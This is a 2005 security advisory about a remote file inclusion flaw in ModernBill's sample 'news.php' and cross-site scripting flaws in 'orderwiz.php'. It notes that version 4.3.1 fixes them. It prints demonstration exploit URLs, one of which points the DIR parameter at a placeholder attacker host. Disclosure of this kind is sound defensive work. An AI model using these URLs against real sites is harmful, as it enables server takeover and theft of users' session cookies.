ModernBill Include File Error in Sample 'news.php' Script Lets Remote Users Execute Commands and Input Validation Holes in 'orderwiz.php' Permit Cross-Site Scripting Attacks
|
SecurityTracker Alert ID: 1013672 |
SecurityTracker URL: http://securitytracker.com/id/1013672
|
CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Apr 10 2005
|
Impact:
Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information, User access via network
|
Fix Available: Yes Vendor Confirmed: Yes Exploit Included: Yes
|
Version(s): 4.3.0 and prior versions
|
Description:
A vulnerability was reported in ModernBill. A remote user can execute arbitrary commands on the target user's system. A remote user can also conduct cross-site scripting attacks.
The 'news.php' sample script does not properly validate user-supplied input in the 'DIR' parameter. A remote user can supply a specially crafted parameter value to cause arbitrary PHP code in the 'include/functions.inc.php' file located on a remote site to be included and executed by the target system. The PHP code, including operating system commands, will run with the privileges of the target web service.
A demonstration exploit URL is provided:
http://[target]/samples/news.php?DIR=http://[attacker]/
The 'orderwiz.php' script does not properly validate user-supplied input in the 'aid' and 'c_code' parameters. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the ModernBill software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Some demonstration exploit URLs are provided:
http://[target]/order/orderwiz.php?v=1&aid=&c_code=[XSS]
http://[target]/order/orderwiz.php?v=1&aid=[XSS]
James Bercegay of the GulfTech Security Research Team discovered this vulnerability.
|
Impact:
A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the ModernBill software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
|
Solution:
The vendor has issued a fixed version (4.3.1), available at:
http://support.modernbill.com/
|
Vendor URL: www.modernbill.com/ (Links to External Site)
|
Cause:
Input validation error, State error
|
Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
|
|
Message History:
None.
|
Source Message Contents
|
|
[Original Message Not Available for Viewing]
|
|